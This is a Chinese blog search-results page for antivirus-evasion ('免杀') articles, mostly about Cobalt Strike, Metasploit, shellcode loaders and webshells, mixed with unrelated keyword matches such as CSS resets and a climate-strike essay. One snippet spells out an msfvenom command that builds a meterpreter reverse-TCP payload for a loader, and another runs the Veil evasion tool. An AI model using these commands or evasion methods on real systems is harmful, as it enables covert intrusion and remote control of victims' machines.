strike免杀

Cobalt Strike基本使用

CobaltStrike简介CobaltStrike是一款由java编写的全平台多方协同渗透测试框架，在3.0版本之前它基于Metasploit框架工作，在3.0后的版本以独立成一个渗透测试平台。CobaltStrike集成了端口转发、端口扫描、socket代理、提权、钓鱼、远控木马等功能。该工具几乎覆盖了APT攻击链中所需要用到的各个技术环节，且其最大的优点在于可以进行团队合作和优越的UI界面。
小黑安全·2023-03-31 17:42

Cobalt-Strike基本使用

Cobalt-Strike简介CobaltStrike(简称为CS)是一款基于java的渗透测试工具（尤其是后渗透阶段）,自3.0开始已经不再使用Metasploit框架而作为一个独立的平台使用，这款工具有其他很多渗透测试工具没有的团队合作功能
yumueat·2023-03-31 17:11

Cobal Strike的学习与使用

CobalStrike的学习与使用CobaltStrike是一款基于java的渗透测试神器，常被业界人称为CS(全文简称CS)神器。3.0改版后作为一个独立的平台使用。分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行协同操作，共享攻击资源与目标信息和sessions，可模拟APT做模拟对抗，进行内网渗透。——CobaltStrike集成了端口转发、扫描多模式端口Listener、W
Goodric·2023-03-31 17:24

149.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon重定器/代理服务器/流量走向分析]

我认为，无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感！！！文章目录一、CobaltStrike重定器1、CobaltStrike重定器简介2、重定器用到的端口转发工具二、cobaltstrike重定器实验1、实验背景2、实验过程3、流量分析一、CobaltStrike重定器1、CobaltStrike重定器简介（1）重定器简介“重定器”是一个在“cobaltstrike”服务器和
qwsn·2023-03-31 17:47

远控免杀从入门到实践 (11) 终结篇

《远控免杀从入门到实践》系列文章目录：1、远控免杀从入门到实践(1)基础篇2、远控免杀从入门到实践(2)工具总结篇3、远控免杀从入门到实践(3)代码篇-C/C++4、远控免杀从入门到实践(4)代码篇-C
扶苏゜·2023-03-31 04:41

Exp3 免杀原理与实践

20155332《网络对抗》Exp3免杀原理与实践1.实验环境联想台式机一台，安装有win10系统，作为靶机进行实测安装的kali虚拟机，作为攻击机kali虚拟机安装有veil-evasion(听说安装过程比较复杂
weixin_33716941·2023-03-31 04:34

《网络攻防》实验三：免杀原理与实践

《网络攻防》实验三：免杀原理与实践世界上公认的第一个在个人电脑上广泛流行的病毒是1986年初诞生的大脑(C-Brain)病毒，编写该病毒的是一对巴基斯坦兄弟，两兄弟经营着一家电脑公司，以出售自己编制的电脑软件为生
weixin_33720956·2023-03-31 04:33

免杀技术

一、基础知识1.杀软是如何检测出恶意代码的？（1）检测特征码人有自己的特征，代码也有自己的特征。杀毒软件都有着一套特征库，依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。（2）启发式恶意软件检测如果该程序的特征和行为与病毒程序类似，其匹配程度达到一定值就可以认为该程序是病毒程序。（3）基于行为检测与启发式检测类似，只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程，如
weixin_30553837·2023-03-31 04:03

20144306《网络对抗》MAL_免杀原理与实践

一.基础问题回答1.杀软是如何检测出恶意代码的？（1）特征码：类似于人的生物特征，恶意代码可能会包含一段或多端数据能代表其特征。杀软一般会对文件内容进行静态扫描，将文件内容与特征库进行匹配，来检测已知的网络攻击。优点：检测效率高、能精确检测恶意软件类型和具体名称、能在恶意软件首次写入计算机时检测而非运行后。缺点：不能检测未知和变形的恶意软件、需频繁更新特征库、特征库会越来越臃肿。（2）启发式：就是
weixin_30505485·2023-03-31 04:33

远控免杀专题文章(1)-基础篇

前言一直是从事web安全多一些，对waf绕过还稍微有些研究，但是对远控免杀的认知还大约停留在ASPack、UPX加壳免杀的年代。
Ms08067安全实验室·2023-03-31 04:59

APT之木马静态免杀

前言这篇文章主要是记录手动编写代码进行木马免杀，使用工具也可以免杀，只不过太脚本小子了，而且工具的特征也容易被杀软抓到，指不定哪天就用不了了，所以要学一下手动去免杀木马，也方便以后开发一个只属于自己的木马关于使用工具免杀的教程
Ba1_Ma0·2023-03-31 04:57

【免杀前置课——shellcode】二十一、shellcode初步优化——通过跳板指令定位shellcode，解决程序随机基址无法跳转shellcode问题（详解）

shellcode初步优化通过跳板指令定位shellcode极其简化版shellcode_存在问题:```解析（重要）```第一个问题程序随机基址无法确定跳转shellcode位置第二个问题程序未正常退出通过跳板指令定位shellcode极其简化版shellcode_存在问题:1、利用x32dbg_工具查找的栈中shellcode起始地址，用该地址淹没返回地址，这个地址会经常发生变化，须找到一个能
webfker from 0 to 1·2023-03-31 03:15

MSF实战免杀过静态:ShellCode加花指令

分析MSF的ShellCode1.Hash寻找系统API函数由于ShellCode是没有PE结构的，无法通过导入表来调用系统的API函数，因此，这部分是一个通用的API调用函数，它可以根据给定的哈希值查找并调用相应的API。在查找API时，它会遍历已加载模块的列表以及每个模块的导出地址表。这个函数在Shellcode中非常重要，因为它可以让我们不用硬编码API函数地址，而是动态地查找和调用它们。;
Henry404s·2023-03-31 03:22

APT级全面免杀与企业纵深防御体系的红蓝对抗

一、CobaltStrike快速入门CobaltStrike:C/S架构的商业渗透软件，适合多人进行团队协作，可模拟APT做模拟对抗，进行内网渗透。CobaltStrike整体功能了解参考MITREATT&CK™CobaltStrike的C/S架构客户端(ClientGUI)团队成员使用的图形化界面服务器(TeamServer)控制-TeamServer是CobaltStrike中所有payloa
wespten·2023-03-29 11:46

Android TextView添加中划线

textView.getPaint().setFlags(Paint.STRIKE_THRU_TEXT_FLAG);//中划线，会有锯齿textView.getPaint().setAntiAlias(
李二侠·2023-03-29 01:15

【总结】防病毒网关---防毒墙

恶意代码的免杀技术免杀原理文件免杀原理改特征码免杀原理花指令免杀原理加壳免杀原理内存免杀原理行为免杀原理反病毒技术单机反病毒杀毒软件网关反病毒反病毒工作原理首包检
Born to be·2023-03-27 09:52

结合veillCS shellcode免杀(2020.1.13已过期)

dockerrun-it-v/tmp/veil-output:/var/lib/veil/output:Zmattiasohlsson/veil生成的exe文件在/tmp/veil-output，之后在这取三、veil免杀
q1ya·2023-03-26 09:26

MSF--Powershell木马免杀测试过36*和火*

之前看了一篇对CS的Powershell木马进行Base64编码达到免杀效果，今天随便测试了一下MSF的Powershell木马免杀，两者虽然有些不同，但是方法还是大同小异的，Base64编码+修改变量名
LMcream·2023-03-25 16:45

Cobalt Strike DNS Beacon 的使用与原理

1.dns木马dns木马的隐蔽性好，在受害者不会开放任何端口可以规避防火墙协议，走的是53端口（服务器），防火墙不会拦截，缺点响应慢。2.dnsbeacon的工作过程在dnsbeacon使用dns隧道的过程3.DNSbeacon类型以上都是非持续性工作4.域名创建ns指向首先指向a记录test.1377day.com指向teamserver接着创建三个ns记录分别c1,c2,c3指向test.13
jack-yyj·2023-03-23 14:19

Cobalt Strike：解密 DNS 流量——第 5 部分

博文系列：CobaltStrike：解密流量CobaltStrike：使用已知私钥解密流量-第1部分CobaltStrike：使用已知私钥解密流量-第2部分CobaltStrike：使用进程内存解密流量-第3部分CobaltStrike：解密混淆流量-第4部分CobaltStrike：解密DNS流量-第5部分（当前）CobaltStrike：内存转储-第6部分CobaltStrike：概述–第7部
爱你'非我莫属。·2023-03-23 14:18

# Cobalt Strike：使用已知的私钥解密流量-Part 1

博客系列：CobaltStrike：流量解密CobaltStrike：使用已知的私钥解密流量-Part1（当前部分）CobaltStrike:使用已知的私钥解密流量-Part2CobaltStrike:使用进程内存解密流量-Part3CobaltSteike:解密被掩盖的流量-Part4CobaltStrike:解密DNS流量-Part5我们发现6个流氓软件CobaltStrike的私钥，可以用来
爱你'非我莫属。·2023-03-23 14:48

Cobalt Strike｜Beacon原理浅析

Hello大家好哇，我是你们可爱的lmn小姐姐，今天我们来研究一下Beacon的一些基础知识,如果有师傅没有看过这个系列之前的文章，可以点击下方图片阅读。CobaltStrike作为一种后渗透工具，可以完成侦察、鱼叉式钓鱼、浏览器代理等攻击。上文中我们介绍了CobaltStrike分为客户端和服务器两部分，服务器端被称之为TeamServer。TeamServer既是Beaconpayload的控
Ms08067安全实验室·2023-03-23 14:48

150.网络安全渗透测试—[Cobalt Strike系列]—[DNS Beacon原理/实战测试]

我认为，无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感！！！文章目录一、DNSBeacon原理1、DNSBeacon简介2、DSNBeacon工作原理二、DNSBeacon实战测试1、实战测试前提2、实战测试过程一、DNSBeacon原理1、DNSBeacon简介（1）DNS木马优缺点dns木马因为隐蔽性好，在受害者不会开放任何端口的时候可以规避防火墙协议，因为走的是53端口(服务
qwsn·2023-03-23 14:17

萧何自污：大智若愚免杀身之祸

背景故事：萧何对刘邦的拥护之恩秦二世元年（公元前209年）七月，陈胜、吴广在大泽乡揭竿而起，举起了反秦的大旗，各地豪杰云集响应，天下大乱。而此时的萧何仍在沛县当功曹，他和曹参、樊哙、夏侯婴、周勃等人时常聚会，密切注视着局势的发展，并暗中与在芒砀山中的刘邦保持着联系。萧何萧何召集沛城父老共商大计。大家都推举刘邦为县令，背秦自立。刘邦却推辞道：“现今天下纷扰，诸侯并起，沛令一席自应选择全县最有声望之人
道不完的你·2023-03-20 23:02

关于“Strike for Climate"运动的综述

（这是一篇被毙掉的稿子，那我就发到自己的个人空间吧~）近期，一场愈演愈烈的学生罢课运动已经席卷欧洲多个国家，甚至影响到了少数欧洲以外的国家，如美国、加拿大、澳大利亚等。而在3月15日这一天，学生罢课运动达到了高潮。在全球范围内，有超过110个国家及地区同时在这一天进行了学生罢课运动。这些年轻人拥有一个共同的目标：敦促政府采取切实措施来应对气候变化。当地时间3月15日，在柏林米特区的一处广场上，聚集
左柚zy·2023-03-19 06:03

css重置样式表

h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike
lancela·2023-03-17 10:15

免杀工具shellcodeloader

工具地址：shellcodeloader不想自己编译，就用工具作者自己编译的成品，realseMSF生成bin文件:msfvenom-pwindows/x64/meterpreter_reverse_tcpLHOST=IPLPORT=port-fraw-o1.bin将生成好的木马1.bin拖入shellcodeloader中，并勾选所需配置，配置的选择原项目中介绍的很清楚，这里就不过多赘述了，点击
LMcream·2023-03-17 05:19

CSGO 社区服务器出租与如何选择合适配置

社区服务器租用Counter-Strike:GlobalOffensive《反恐精英：全球攻势》包含全新地图，角色与武器，同时将向经典CS发布升级。
零idc02·2023-03-14 08:09

CobaltStrike二次开发环境准备以及免杀

文章目录前言一、环境二、过程1.注册Idea2.原版CobaltStrike3.开始反编译4.新建项目5.配置项目6.去除暗桩7.免杀CobaltStrike免杀其他免杀profilefile重写Stager
QQQqQqqqqrrrr·2023-03-12 12:27

NO_ACCESS Protection

NO_ACCESSProtection前言基本思路参考项目:前言这是原本开始是一位朋友研究后发现的一种对抗游戏外挂的思路，我看了一下发现其实可以扩散一下思路用于免杀对抗，说不定有意想不到的效果。
QQQqQqqqqrrrr·2023-03-12 12:27

【内网渗透】Cobalt Strike搭建和使用

CobaltStrike是一个神器。它可以共享一个攻击上下文供多个人使用，本身具有端口转发、木马生成等功能。我们可以使用CobaltStrike进行钓鱼攻击、内网渗透等。本文目录•CobaltStrike简介•CobaltStrike搭建•使用CobaltStrike制作宏后门文档•使用CobaltStrike管理被控主机一、CobaltStrike简介CobaltStrike的代码结构如下：20
shatianyzg·2023-02-23 07:59

Cobalt Strike与Metasploit Framewor联动（会话传递）功能演示

一、前言CobaltStrike是一个为模拟对手和红队行动而设计的平台，主要用于执行有目标的攻击和模拟高级威胁。CS集成了很多功能，这些功能为渗透测试提供了便利的操作。同时CS还支持丰富的插件，通过扩展插件支持更多功能。Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。早期版本CobaltSrt
Camel1024·2023-02-18 08:39

Webshell_Generate 工具

且都已做了简单的免杀处理。免杀说明：jsp、jspx：争取将代码最
CSeroad·2023-02-07 04:39

Python免杀CS/MSF木马过36*和火*

今天测试了下Python免杀CS/MSF中Python格式的shellcode主要是巧用HEX编码即可，同之前的Base64编码免杀，不编译成EXE可过Defender。
LMcream·2023-02-03 10:46

msf生成免杀木马

一.杀软原理免杀概念免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写VirusAV），逐字翻译为“反-反病毒”，翻译为“反杀毒技术
夜yesir·2023-02-03 00:53

MSF后门生成及免杀思想

MSF后门生成及免杀思想免杀概念杀毒软件检测方式杀毒软件主动防御免杀技术介绍修改特征码花指令免杀内存免杀加壳免杀二次编译资源修改MSF常用命令常见的木马生成常见后门生成方式编译软件VC++6.0免杀MSF
安澈521·2023-02-03 00:53

WebShell免杀之JSP ——yzddMr6

原文地址：https://yzddmr6.tk/posts/webshell-bypass-jsp/本文已授权悬剑武器库转载前言其他类型的webshell容易免杀的一个主要原因是有eval函数，能够把我们的加密几层后的
yzddMr6·2023-02-03 00:48

九、Openpyxl单元格对象的属性和方法

1.设置字体Font语法Font(name=None,sz=None,b=None,i=None,charset=None,u=None,strike=None,color=None,scheme=None
JunChen681·2023-01-13 18:48

技术分享 | go语言源码免杀MSF木马

木马源码免杀两种形式：下载者和加载者https://www.freebuf.com/articles/system/227468.html前言加载者的免杀分为两部分:加载器本身的免杀，加载器源码因为在网上发布许久
天磊卫士官方·2023-01-10 18:21

【免杀前置课——Windows编程】十二、线程同步——一文讲懂什么是线程同步、原子操作函数、临界区、互斥体（激发态与非激发态区别）

线程同步线程同步多线程运行同一操作对象问题解决方案A:原子操作函数解决方案B:临界区解决方案C:互斥体激发态与非激发态互斥体优点:线程同步多线程运行同一操作对象问题#include#includeLONGg_count=0;DWORDWINAPImyThreadProc1(_In_LPVOIDlpParameter){for(size_ti=0;i<100000;i++){g_count++;}r
webfker from 0 to 1·2023-01-08 18:51

CSS样式重置

h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike
转角羊儿·2023-01-07 19:56

我的powershell免杀之路

我的powershell免杀之路原创tubai[花指令安全实验室](javascript:void(0)2021-07-0620:39WindowsPowerShell是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用
明月清风~~·2023-01-02 18:48

css reset

h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike
_Rookie._·2022-12-25 17:34

matlab hull white,Matlab通过市场数据校准Hull-White利率模型参数

200921-Jun-200921-Sep-200921-Dec-200921-Mar-201021-Jun-201021-Sep-201021-Dec-201021-Mar-2011在最佳情况下，查找带有Strike
榴莲世界·2022-12-23 19:39

恶意软件免杀与技术(2022.04.25)

BlackGuard加密货币钱包窃取规避以下dll的加载SbieDll.dll沙盒沙盒SxIn.dll360全方位安全Sf2.dllAvast杀毒软件snxhk.dllAvast杀毒软件cmdvrt32.dllCOMODO网络安全使用Obfuscar进行.NET程序混淆BlackGuard还将查询“IP-Whois”以确定受害者的大致位置。在BlackGuard的一些样本中，此功能用于防止恶意软件
摔不死的笨鸟·2022-12-21 23:33

Conti勒索软件源代码分析

Conti勒索参数静态免杀反调试反HOOK字符串混淆指令混淆线程池加密算法加密性能重启系统安全模式加密参考链接参数Conti勒索软件v3版本的参数调用如下：参数功能-p指定加密路径-mLocalallnetbackups
摔不死的笨鸟·2022-12-21 23:33

内网渗透Windows密码凭证获取

记录一下抓取window凭证信息的一些工具Windows凭证抓取1，procdump(官方工具无视免杀)（首选）procdump+mimikatz加载dmp文件，并导出其中的明文密码(procdump过杀软
西湖第一剑·2022-12-21 08:16

Metasploit实现木马生成、捆绑及免杀

木马的捆绑在社会工程学中是我们经常使用的手段，而为了躲避杀毒软件的查杀，我们又不得不对木马进行免杀处理。
·2022-12-19 11:57

软件安全-UPX加壳

从而达到防修改与防反编译的效果，而因为源代码在磁盘中以压缩形式存储，虽然脱壳操作加重了CPU的负担，但减少了磁盘的读写，所以在大多数情况下还能提高程序运行速度；这种技术也常被应用到病毒免杀中，给病毒加壳后
写代码的小阿帆·2022-12-16 02:10

[免杀]基于python的uuid加载器

文章目录uuid字节转换uuid申请内存写入内存创建进程代码uuidUUID:通用唯一标识符(UniversallyUniqueIdentifier),对于所有的UUID它可以保证在空间和时间上的唯一性.它是通过MAC地址,时间戳,命名空间,随机数,伪随机数来保证生成ID的唯一性,有着固定的大小(128bit).它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID.UUID可以被用
3tefanie丶zhou·2022-12-10 07:03
上一页 5 6 7 8 9 10 11 12 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他